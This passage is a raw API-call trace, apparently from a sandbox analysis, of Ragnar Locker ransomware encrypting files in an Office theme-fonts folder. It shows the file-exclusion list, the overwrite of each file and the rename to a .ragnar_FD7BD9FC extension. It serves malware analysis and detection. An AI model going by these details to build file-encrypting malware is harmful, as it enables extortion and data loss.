lpFileSize=0x1eaf7c*=3628) returned 1 [0094.431] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe23, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.431] GetProcessHeap () returned 0x580000 [0094.431] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.431] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.433] VirtualAlloc (lpAddress=0x0, dwSize=0xe2c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.433] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.433] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.433] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe2c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe2c, lpOverlapped=0x0) returned 1 [0094.433] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.433] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe2c, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.433] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe2c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe2c, lpOverlapped=0x0) returned 1 [0094.433] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe2c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.433] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.434] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe2c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.434] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.434] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.434] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.434] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.434] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.434] GetProcessHeap () returned 0x580000 [0094.434] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.434] CloseHandle (hObject=0x10c) returned 1 [0094.434] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml" [0094.434] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml.ragnar_FD7BD9FC" [0094.434] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.435] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8079f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8079f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.xml", cAlternateFileName="PERSPE~1.XML")) returned 1 [0094.435] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.435] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Perspective.xml" | out: lpString1="Perspective.xml") returned="Perspective.xml" [0094.435] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml") returned=".xml" [0094.435] lstrcmpiW (lpString1="Perspective.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.435] lstrcmpiW (lpString1="Perspective.xml", lpString2="autorun.inf") returned 1 [0094.435] lstrcmpiW (lpString1="Perspective.xml", lpString2="boot.ini") returned 1 [0094.435] lstrcmpiW (lpString1="Perspective.xml", lpString2="bootfont.bin") returned 1 [0094.435] lstrcmpiW (lpString1="Perspective.xml", lpString2="bootsect.bak") returned 1 [0094.435] lstrcmpiW (lpString1="Perspective.xml", lpString2="bootmgr") returned 1 [0094.435] lstrcmpiW (lpString1="Perspective.xml", lpString2="bootmgr.efi") returned 1 [0094.435] lstrcmpiW (lpString1="Perspective.xml", lpString2="bootmgfw.efi") returned 1 [0094.435] lstrcmpiW (lpString1="Perspective.xml", lpString2="desktop.ini") returned 1 [0094.435] lstrcmpiW (lpString1="Perspective.xml", lpString2="iconcache.db") returned 1 [0094.436] lstrcmpiW (lpString1="Perspective.xml", lpString2="ntldr") returned 1 [0094.436] lstrcmpiW (lpString1="Perspective.xml", lpString2="ntuser.dat") returned 1 [0094.436] lstrcmpiW (lpString1="Perspective.xml", lpString2="ntuser.dat.log") returned 1 [0094.436] lstrcmpiW (lpString1="Perspective.xml", lpString2="ntuser.ini") returned 1 [0094.436] lstrcmpiW (lpString1="Perspective.xml", lpString2="thumbs.db") returned -1 [0094.436] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.436] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.436] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.436] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.436] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.436] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.436] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml")) returned 0x20 [0094.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.436] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3599) returned 1 [0094.436] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe06, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.436] GetProcessHeap () returned 0x580000 [0094.436] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.437] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.438] VirtualAlloc (lpAddress=0x0, dwSize=0xe0f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.438] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.438] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.438] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe0f, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe0f, lpOverlapped=0x0) returned 1 [0094.438] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.438] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe0f, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.438] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe0f, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe0f, lpOverlapped=0x0) returned 1 [0094.439] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe0f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.439] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.439] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe0f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.439] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.439] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.439] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.439] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.439] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.439] GetProcessHeap () returned 0x580000 [0094.439] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.439] CloseHandle (hObject=0x10c) returned 1 [0094.439] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml" [0094.439] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml.ragnar_FD7BD9FC" [0094.439] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.440] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938cc00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x938cc00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.xml", cAlternateFileName="")) returned 1 [0094.440] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.440] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Pushpin.xml" | out: lpString1="Pushpin.xml") returned="Pushpin.xml" [0094.440] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml") returned=".xml" [0094.440] lstrcmpiW (lpString1="Pushpin.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.440] lstrcmpiW (lpString1="Pushpin.xml", lpString2="autorun.inf") returned 1 [0094.440] lstrcmpiW (lpString1="Pushpin.xml", lpString2="boot.ini") returned 1 [0094.440] lstrcmpiW (lpString1="Pushpin.xml", lpString2="bootfont.bin") returned 1 [0094.440] lstrcmpiW (lpString1="Pushpin.xml", lpString2="bootsect.bak") returned 1 [0094.440] lstrcmpiW (lpString1="Pushpin.xml", lpString2="bootmgr") returned 1 [0094.440] lstrcmpiW (lpString1="Pushpin.xml", lpString2="bootmgr.efi") returned 1 [0094.440] lstrcmpiW (lpString1="Pushpin.xml", lpString2="bootmgfw.efi") returned 1 [0094.440] lstrcmpiW (lpString1="Pushpin.xml", lpString2="desktop.ini") returned 1 [0094.440] lstrcmpiW (lpString1="Pushpin.xml", lpString2="iconcache.db") returned 1 [0094.441] lstrcmpiW (lpString1="Pushpin.xml", lpString2="ntldr") returned 1 [0094.441] lstrcmpiW (lpString1="Pushpin.xml", lpString2="ntuser.dat") returned 1 [0094.441] lstrcmpiW (lpString1="Pushpin.xml", lpString2="ntuser.dat.log") returned 1 [0094.441] lstrcmpiW (lpString1="Pushpin.xml", lpString2="ntuser.ini") returned 1 [0094.441] lstrcmpiW (lpString1="Pushpin.xml", lpString2="thumbs.db") returned -1 [0094.441] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.441] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.441] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.441] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.441] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.441] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.441] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml")) returned 0x20 [0094.442] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.442] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3711) returned 1 [0094.442] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe76, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.442] GetProcessHeap () returned 0x580000 [0094.442] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.442] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.444] VirtualAlloc (lpAddress=0x0, dwSize=0xe7f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.444] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.444] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.444] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe7f, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe7f, lpOverlapped=0x0) returned 1 [0094.444] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.444] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe7f, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.444] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe7f, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe7f, lpOverlapped=0x0) returned 1 [0094.444] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe7f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.444] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.444] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe7f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.444] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.444] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.445] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.445] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.445] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.445] GetProcessHeap () returned 0x580000 [0094.445] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.445] CloseHandle (hObject=0x10c) returned 1 [0094.445] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml" [0094.445] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml.ragnar_FD7BD9FC" [0094.445] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.446] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a69f0a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8a69f0a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0094.446] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.446] lstrcpyW (in: lpString1=0x1eb64a, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0094.446] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\RGNR_FD7BD9FC.txt") returned=".txt" [0094.446] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0094.446] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b1a6f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b1a6f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.xml", cAlternateFileName="SLIPST~1.XML")) returned 1 [0094.446] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.446] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Slipstream.xml" | out: lpString1="Slipstream.xml") returned="Slipstream.xml" [0094.446] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml") returned=".xml" [0094.446] lstrcmpiW (lpString1="Slipstream.xml", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0094.446] lstrcmpiW (lpString1="Slipstream.xml", lpString2="autorun.inf") returned 1 [0094.446] lstrcmpiW (lpString1="Slipstream.xml", lpString2="boot.ini") returned 1 [0094.446] lstrcmpiW (lpString1="Slipstream.xml", lpString2="bootfont.bin") returned 1 [0094.446] lstrcmpiW (lpString1="Slipstream.xml", lpString2="bootsect.bak") returned 1 [0094.446] lstrcmpiW (lpString1="Slipstream.xml", lpString2="bootmgr") returned 1 [0094.446] lstrcmpiW (lpString1="Slipstream.xml", lpString2="bootmgr.efi") returned 1 [0094.446] lstrcmpiW (lpString1="Slipstream.xml", lpString2="bootmgfw.efi") returned 1 [0094.446] lstrcmpiW (lpString1="Slipstream.xml", lpString2="desktop.ini") returned 1 [0094.446] lstrcmpiW (lpString1="Slipstream.xml", lpString2="iconcache.db") returned 1 [0094.446] lstrcmpiW (lpString1="Slipstream.xml", lpString2="ntldr") returned 1 [0094.446] lstrcmpiW (lpString1="Slipstream.xml", lpString2="ntuser.dat") returned 1 [0094.446] lstrcmpiW (lpString1="Slipstream.xml", lpString2="ntuser.dat.log") returned 1 [0094.446] lstrcmpiW (lpString1="Slipstream.xml", lpString2="ntuser.ini") returned 1 [0094.446] lstrcmpiW (lpString1="Slipstream.xml", lpString2="thumbs.db") returned -1 [0094.446] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.446] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.446] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.447] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.447] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.447] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.447] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 